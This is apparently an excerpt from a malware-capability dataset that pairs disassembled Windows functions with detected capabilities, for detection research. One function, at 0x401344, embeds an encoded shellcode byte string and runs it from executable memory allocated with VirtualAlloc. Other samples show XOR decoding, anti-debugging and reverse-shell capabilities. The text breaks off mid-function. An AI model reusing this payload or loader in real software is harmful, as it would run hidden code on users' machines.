joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e32d0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.005d34e4
and dword [ebp - 4], 0
cmp dword [0x729b20], 0
mov ebx, eax
jne 0x5e3381
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x5e3432
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x5e3432
push eax
call fcn.005d3472
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x729b20], eax
call esi
push eax
call fcn.005d3472
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x729b24], eax
call esi
push eax
call fcn.005d3472
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x729b28], eax
call esi
push eax
call fcn.005d3472
pop ecx
mov dword [0x729b30], eax
test eax, eax
je 0x5e3381
push 0x6c7778
push edi
call esi
push eax
call fcn.005d3472
pop ecx
mov dword [0x729b2c], eax
mov eax, dword [0x729b2c]
cmp eax, ebx
je 0x5e33d9
cmp dword [0x729b30], ebx
je 0x5e33d9
push eax
call fcn.005d34ed
push dword [0x729b30]
mov esi, eax
call fcn.005d34ed
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x5e33d9
test edi, edi
je 0x5e33d9
call esi
test eax, eax
je 0x5e33d0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x5e33d0
test byte [ebp - 0xc], 1
jne 0x5e33d9
or dword [ebp + 0x10], 0x200000
jmp 0x5e3412
mov eax, dword [0x729b24]
cmp eax, ebx
je 0x5e3412
push eax
call fcn.005d34ed
pop ecx
test eax, eax
je 0x5e3412
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x5e3412
mov eax, dword [0x729b28]
cmp eax, ebx
je 0x5e3412
push eax
call fcn.005d34ed
pop ecx
test eax, eax
je 0x5e3412
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x729b20]
call fcn.005d34ed
pop ecx
test eax, eax
je 0x5e3432
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x5e3434
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xdb48e0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdb48ea
pushal
call 0xdb48f0
pop ebp
sub ebp, 0x10
sub ebp, 0x9b48e0
jmp 0xdb4906
mov eax, 0x9b48e0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bb
mov edx, 0xb575b241
xor byte [eax], dl
inc eax
dec ecx
jne 0xdb491d
jmp 0xdb4930
retf 0xca8c
Function at 0x4020f0
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, eax
mov esi, ebx
mov dword [0x427818], eax
mov dword [0x42686c], edx
call fcn.00402790
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsA]
mov dword [0x426906], eax
xor eax, eax
mov dword [0x427e38], eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov edx, eax
mov byte [0x42690c], al
shr eax, 0x10
push 0x104
mov word [0x42690e], ax
xor eax, eax
mov ebx, 0x208
mov ax, word [0x42690e]
and edx, 0xffff
mov dword [0x426910], eax
xor eax, eax
sar edx, 8
mov al, byte [0x42690c]
and edx, 0xff
mov dword [0x426914], eax
xor eax, eax
mov byte [0x42690d], dl
mov al, dl
mov edx, dword [0x426914]
push 0x42781c
shl edx, 8
push 0
or edx, eax
mov dword [0x426918], eax
mov dword [0x42691c], edx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x427920
xor eax, eax
mov dword [0x4268d4], 0x42781c
call fcn.004028c0
mov dword [0x4268e0], 0x427920
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.00402960
mov edx, eax
mov bl, byte [eax]
mov dword [0x427814], eax
cmp bl, 0x22
je 0x4021e4
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4029a1], 2
je 0x4021fc
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4029a1], 2
je 0x402203
inc eax
jmp 0x4021d4
inc eax
cmp bl, byte [eax]
je 0x4021f4
cmp byte [eax], 0
je 0x4021f4
inc eax
cmp byte [eax], 0x22
jne 0x4021e9
cmp byte [eax], 0
je 0x4021d4
inc eax
jmp 0x4021d4
test dl, dl
je 0x4021d4
inc eax
jmp 0x4021c7
mov dword [0x4268d0], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
test eax, eax
je 0x402277
call fcn.00402aa1
mov edx, eax
mov bx, word [eax]
mov dword [0x427810], eax
cmp bx, 0x22
je 0x40224a
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4029a1], 2
je 0x40226c
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4029a1], 2
je 0x40227c
add eax, 2
jmp 0x402238
add eax, 2
cmp bx, word [eax]
je 0x402261
cmp word [eax], 0
je 0x402261
add eax, 2
cmp word [eax], 0x22
jne 0x402252
cmp word [eax], 0
je 0x402238
add eax, 2
jmp 0x402238
cmp word [eax], 0
je 0x402238
add eax, 2
jmp 0x40222b
mov eax, 0x4020b0
mov dword [0x4268dc], eax
test edi, edi
jne 0x40228e
mov eax, 1
pop edi
pop esi
pop ecx
ret
push 0x104
push 0x427b28
push esi
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x427c2c
mov eax, esi
mov dword [0x4268d8], 0x427b28
call fcn.004028c0
mov dword [0x4268e4], 0x427c2c
mov eax, 1
pop edi
pop esi
pop ecx
ret
Function at 0x404660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push edx
sub esp, 4
mov dword [esp], eax
mov eax, dword [0x426a28]
test eax, eax
je 0x40467c
cmp dword [0x4268cc], 0xfffffffe
jne 0x404682
xor eax, eax
add esp, 4
pop edx
pop ecx
ret
mov eax, esp
call fcn.00404610
test eax, eax
je 0x40467c
push 0x40
push 0x1000
mov ecx, dword [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, eax
test eax, eax
je 0x40467c
mov eax, dword [esp]
sub eax, 4
cmp eax, dword [esp]
ja 0x40467a
mov dword [esp], eax
cmp eax, 0x38
jb 0x40467a
mov dword [edx], eax
mov eax, edx
call fcn.00404590
mov ecx, eax
mov eax, dword [eax]
mov dword [esp], eax
or al, 1
mov dword [ecx], eax
mov dword [edx + 0x14], 0
lea eax, [ecx + 4]
inc dword [edx + 0x18]
call fcn.00402ad0
mov eax, 1
add esp, 4
pop edx
pop ecx
ret

Function at 0x404fe0
Capabilities:
Set environment variable

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x14
mov ebp, eax
mov dword [esp], 2
mov edx, 0x3d
mov dword [esp + 4], 1
call fcn.00405550
mov ebx, eax
test eax, eax
je 0x40500e
cmp eax, ebp
jne 0x40501d
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
sub eax, ebp
mov dword [esp + 0xc], eax
inc eax
call fcn.004039d0
mov edx, eax
mov dword [esp + 8], eax
test eax, eax
je 0x40500e
mov ecx, dword [esp + 0xc]
mov esi, ebp
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [esp + 0xc]
lea esi, [ebx + 1]
mov byte [edx + eax], 0
mov eax, esi
call fcn.004055b0
mov ebx, eax
test eax, eax
je 0x4050e3
inc eax
call fcn.004039d0
mov dword [esp + 0x10], eax
test eax, eax
je 0x4050cd
mov ecx, ebx
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
add ebx, edi
mov byte [ebx], 0
mov edx, dword [esp + 0x10]
push edx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
mov edx, eax
mov eax, dword [esp + 8]
call fcn.00402ad0
mov eax, dword [esp + 0x10]
call fcn.00402ad0
test edx, edx
jne 0x4050e9
cmp dword [esp + 0x10], 0
jne 0x40500e
xor eax, eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, edx
call fcn.00402ad0
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov dword [esp + 0x10], eax
jmp 0x40508e
mov eax, ebp
call fcn.00405270
test eax, eax
jne 0x40500e
cmp dword [0x427e3c], 0
je 0x405013
mov eax, ebp
call fcn.004055b0
lea ebx, [eax + 1]
mov eax, dword [esp]
imul eax, ebx
call fcn.004039d0
mov ecx, eax
test eax, eax
je 0x405151
imul ebx, dword [esp + 4]
mov edx, ebp
call fcn.004055e0
cmp eax, 0xffffffff
jne 0x40516a
mov eax, ecx
call fcn.00402ad0
mov eax, 0xe
call fcn.00403aca
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, 5
call fcn.00403aca
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, ecx
call fcn.00405880
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x10003930
Capabilities:
Encode data using xor

Disassembly:
in al, 0x64
and eax, 0x85c7f973
or eax, 0x8ec0ee39
pop es
pop edx
sbb eax, 0xb6ab18b
or al, 0x18
inc esi
or al, 0xf6
jae 0x1000396f
push 0xffffffffffffff9f
xor al, 0x54
sub al, 0xb0
mov byte [0x462fa82d], al
cmp ebx, dword [esi]
ror dword [ebx + reloc.KERNEL32.dll_GetCurrentThread], 0xa0
enter 0x2d23, 0x27
cmp byte [eax + 0x272d23c8], ah
enter 0x324d, 0x6d
adc dword [ebp - 8], eax
xchg esp, eax
mov dword [reloc.KERNEL32.dll_GetCurrentThread], eax
push edi
fnstenv [ebp - 0x56e3a4f]
xor ecx, esi
scasb al, byte es:[edi]
push es
dec esi
push ss
push ebx
mov byte [0x43279477], al
jg 0x1000395d
sar dword [eax + edi*4 - reloc.KERNEL32.dll_GetCurrentThread], 1
sar byte [edi - 0x720aaac4], cl
inc edx
pop edx
adc edx, dword [eax + ebx*2]
push ebp
fld xword [edi - 9]
fcmovbe st(0), st(4)
aam 0xf5
dec eax
lds edx, [ecx - 0x1d]
add eax, 0x9f394036
wait
cmpsb byte [esi], byte es:[edi]
or ch, byte [edi]
or al, 9
das
inc eax
jmp dword [esi + 0x27]
Function at 0x100e43bc
Capabilities:
Access peb ldr_data
Execute anti-debugging instructions

Disassembly:
call fcn.100e2010
jmp 0x100e4417
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x100e442a
mov word [esp], di
pushfd
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], edi
lea esp, [esp + 0x24]
jmp 0x100e43f9
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
jmp 0x100e4612
push eax
jmp 0x100e200b
Function at 0x401001
Capabilities:
Parse pe header

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
cmp word [0x400000], 0x5a4d
mov dword [0x40503c], 1
mov dword [0x405038], 1
mov dword [0x405034], 1
jne 0x401082
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea eax, [ecx + 0x400000]
jne 0x401082
mov ecx, dword [eax + 0x18]
cmp cx, 0x10b
je 0x40105d
cmp cx, 0x20b
je 0x40106c
jmp 0x401082
cmp dword [eax + 0x74], 0xe
jbe 0x401082
cmp dword [eax + 0xe8], 0
jmp 0x40107c
cmp dword [eax + 0x84], 0xe
jbe 0x401082
cmp dword [eax + 0xf8], 0
setne dl
movzx edx, dl
cmp dword [0x405048], 0
mov dword [0x40500c], edx
je 0x40109a
mov dword [esp], 2
jmp 0x4010a1
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40505c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x405044]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x403010], 1
jne 0x4010da
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
leave
xor eax, eax
ret
Function at 0x401344
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x8c8
call sym.___main
lea ecx, [ebp - 0x8b9]
mov edx, str.x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxffxffxffx48xbbxfbx12x0dxebxecx6cx67x2ex48x31x58x27x48x2dxf8xffxffxffxe2xf4x07x5ax8ex0fx1cx84xabx2exfbx12x4cxbaxadx3cx35x66xcaxc0x5cx8exa4xe7x35x4exadx5ax86xb9xf4x24xecx7cxdbx5ax02x5cxa6x26x2ax1fx32x5ax86x99xbcx24x56xeex57x2ex6cx97xeex40x47x6fx3axdbx00xaaxedxadx85xc3xa9x5ax86xb9xccxe7x25x12xb3x13xddxaaxbdx0axe6x56xe3x19x0fxe4x69x1ex67x2exfbx99x8dx63xecx6cx67x66x7exd2x79x8cxa4x6dxb7xa5xb3x0ax5dxafx67x2cx47x67xfaxc2xeexbdxa1x5dxaex66x04xdbx4cx60xd8xe4x2fx2fx2dx5ax3cx2bxadxadxaex23x57x53x0cx2axd4x8cx12xdfxb7x11x41xcfxe4x29x5exffx8excax55xafx67x2cx43x67xfaxc2x6bxaax67x60x2fx6ax70x52x11xa2xedxbcx26xa5xffx9ax4cxb3xa4x6dxb7x6fxa3x4cx54xb1xadx34x26x77xbax48x45x68x00x4cx26x7cx04xf2x55xaaxb5x36x2fxa5xe9xfbx46x14x13x93x3ax67x45x65x7exd9xb3x5fx55x2exfbx53x5bxa2x65x8ax2fxafx17xb2x0cxebxecx25xeexcbxb2xaex0fxebxedxd7xa7x86xfbxa5x4cxbfxa5xe5x83x62x72xe3x4cx51xa0x1bx41x29x04xc7x41x62x06x04x66x2fxfbx12x54xaax56x45xe7x45xfbxedxd8x81xe6x2dx39x7exabx5fx3cx22xa1x5dxa7x66x04xd2x45x62x2ex24x98xeexb3x9bxccxaax56x86x68xf1x1bxedxd8xa3x65xabx0dx3exbax4ax41x62x0ex24xeexd7xbaxa8x94x4ex98x0dx98xfbx7exd2x79xe1xa5x93xa9x5bx1exfax9exebxecx6cx2fxadx17x02x45x62x0ex21x56xe7x91x16x4cxb3xa4xe5x9ex6fx41x10xd4x23xb3x93xb2xadx03x12x73xbexa4xefxa3x0exa5x9bxfbx81xacx2dx3ex46xfbx02x0dxebxadx34x2fxa7x09x5ax3cx22xadxd6x3fx8axa8xf7xf2x3exa4xe5xa4x67x72xd5x40xdax25x25xeexdexb3x9bxd7xa3x65x95x26x94xf9xcbxc5xb4x13xb9xe4xd6xfbx6fx25xb3xadx3bx3ex46xfbx52x0dxebxadx34x0dx2exa1x53xb7xe0xc3x63x57xd1x2ex45x54xaax56x19x09x63x9axedxd8xa2x13xa2x8ex12x04xedxf2xa3xedxafx2fx07x3dx5ax88x1dx99xd8x26xd1x1cx4ax67xebxb5x25xa0xecx0bxa7xafxbdx13xb9x67x2e
mov eax, 0x89d
mov ebx, dword [edx]
mov dword [ecx], ebx
mov ebx, dword [edx + eax - 4]
mov dword [ecx + eax - 4], ebx
lea ebx, [ecx + 4]
and ebx, 0xfffffffc
sub ecx, ebx
sub edx, ecx
add eax, ecx
and eax, 0xfffffffc
shr eax, 2
mov edi, ebx
mov esi, edx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x89d
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, eax
lea eax, [ebp - 0x8b9]
mov edx, 0x89d
mov ebx, dword [eax]
mov dword [ecx], ebx
mov ebx, dword [eax + edx - 4]
mov dword [ecx + edx - 4], ebx
lea ebx, [ecx + 4]
and ebx, 0xfffffffc
sub ecx, ebx
sub eax, ecx
add edx, ecx
and edx, 0xfffffffc
shr edx, 2
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x1c]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401d00
Capabilities:
Parse pe header

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
jne 0x401d25
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x401d25
xor edx, edx
cmp word [eax + 0x18], 0x10b
sete dl
mov eax, edx
pop ebp
ret

Function at 0x401d29
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
add edx, dword [edx + 0x3c]
movzx eax, word [edx + 0x14]
movzx esi, word [edx + 6]
lea eax, [edx + eax + 0x18]
cmp ebx, esi
jae 0x401d5d
mov edx, dword [eax + 0xc]
cmp ecx, edx
jb 0x401d57
add edx, dword [eax + 8]
cmp ecx, edx
jb 0x401d5f
inc ebx
add eax, 0x28
jmp 0x401d45
xor eax, eax
pop ebx
pop esi
pop ebp
ret

Function at 0x4012c5
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403fa4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403fa0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401196
mov dword [ebp - 0x24], str.resiliency
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403fa0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.abasement
push str.resiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403fa8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40138f
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401376
mov eax, dword [0x403fa4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10
Function at 0x4040b0
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1cd8
call fcn.004105b0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x4942f8]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x4942fc]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], edx
call fcn.004040a0
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x494300]
mov edx, dword [0x494304]
add edi, 0x23f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x49ba74]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x40413c
mov dword [0x49ba70], 0xedeb2e40
jmp 0x404157
cmp eax, 0x3eb
jne 0x404157
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x49b500], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x49ba74], 0x9e6
mov dword [0x49ba6c], 0xf4ea3dee
jne 0x404190
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x49ba74], 0x213
jne 0x404232
push 0
lea eax, [ebp - 0x8d8]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
lea ecx, [ebp - 0x14d8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x10d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x1cd8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ecx, [ebp - 0xd8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub ebx, dword [ebp - 4]
cmp dword [0x49ba74], 0xc
jne 0x404246
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, ebx
shr eax, 5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov ecx, ebx
shl ecx, 4
add ecx, dword [ebp - 0x1c]
lea edx, [edi + ebx]
xor ecx, edx
xor ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x404110
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4042a0
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.004105b0
mov eax, dword [0x49ba74]
mov ecx, dword [0x49b504]
shr eax, 3
test eax, eax
jbe 0x4043b8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x49ba74], 0x959
jne 0x40439e
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
call edi
mov ecx, dword [ebp - 4]
push ecx
call fcn.004040b0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4042e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405780
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4930d8]
jne 0x40578a
repz ret
jmp fcn.004086ce

Function at 0x4082f4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f16
and dword [ebp - 4], 0
cmp dword [0x4994ac], 0
mov ebx, eax
jne 0x4083a5
push 0x401ae0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408456
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ad4
push edi
call esi
test eax, eax
je 0x408456
push eax
call fcn.00406ea4
mov dword [esp], 0x401ac4
push edi
mov dword [0x4994ac], eax
call esi
push eax
call fcn.00406ea4
mov dword [esp], 0x401ab0
push edi
mov dword [0x4994b0], eax
call esi
push eax
call fcn.00406ea4
mov dword [esp], 0x401a94
push edi
mov dword [0x4994b4], eax
call esi
push eax
call fcn.00406ea4
pop ecx
mov dword [0x4994bc], eax
test eax, eax
je 0x4083a5
push 0x401a7c
push edi
call esi
push eax
call fcn.00406ea4
pop ecx
mov dword [0x4994b8], eax
mov eax, dword [0x4994b8]
cmp eax, ebx
je 0x4083fd
cmp dword [0x4994bc], ebx
je 0x4083fd
push eax
call fcn.00406f1f
push dword [0x4994bc]
mov esi, eax
call fcn.00406f1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4083fd
test edi, edi
je 0x4083fd
call esi
test eax, eax
je 0x4083f4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4083f4
test byte [ebp - 0xc], 1
jne 0x4083fd
or dword [ebp + 0x10], 0x200000
jmp 0x408436
mov eax, dword [0x4994b0]
cmp eax, ebx
je 0x408436
push eax
call fcn.00406f1f
pop ecx
test eax, eax
je 0x408436
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408436
mov eax, dword [0x4994b4]
cmp eax, ebx
je 0x408436
push eax
call fcn.00406f1f
pop ecx
test eax, eax
je 0x408436
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4994ac]
call fcn.00406f1f
pop ecx
test eax, eax
je 0x408456
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408458
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.00401da0
mov dword [ebp - 4], eax
call fcn.00402030
mov byte [ebp - 0x10], al
movsx eax, byte [ebp - 0x10]
cmp eax, 0xffffffff
jne 0x40102e
call fcn.00401da0
sub eax, dword [ebp - 4]
cmp eax, 0x12
jge 0x40102e
jmp 0x40100e
movsx ecx, byte [ebp - 0x10]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp ecx, eax
jne 0x401054
mov ecx, dword [ebp + 8]
push ecx
push 0x41abc8
call fcn.00402297
add esp, 8
mov eax, 1
jmp 0x40108b
movsx edx, byte [ebp - 0x10]
mov eax, dword [ebp + 0xc]
movsx ecx, byte [eax]
cmp edx, ecx
jne 0x401077
mov edx, dword [ebp + 0xc]
push edx
push 0x41abcc
call fcn.00402297
add esp, 8
xor eax, eax
jmp 0x40108b
push str._n_nCommunication_errorC_nProgram_aborted_n
call fcn.00402297
add esp, 4
push 1
call fcn.00402257
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call fcn.00401ff0
add esp, 4
test eax, eax
je 0x4010b7
push 0x41abf8
call fcn.00402297
add esp, 4
push 1
call fcn.00402257
pop ebp
ret

Function at 0x4010c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00401da0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x401123
call fcn.00401da0
sub eax, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
imul edx, edx, 0x12
cmp eax, edx
jge 0x401123
call fcn.00402030
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x401121
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp dword [ebp - 8], ecx
je 0x401114
cmp dword [ebp - 8], 0
jne 0x40111f
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x40
jne 0x40111f
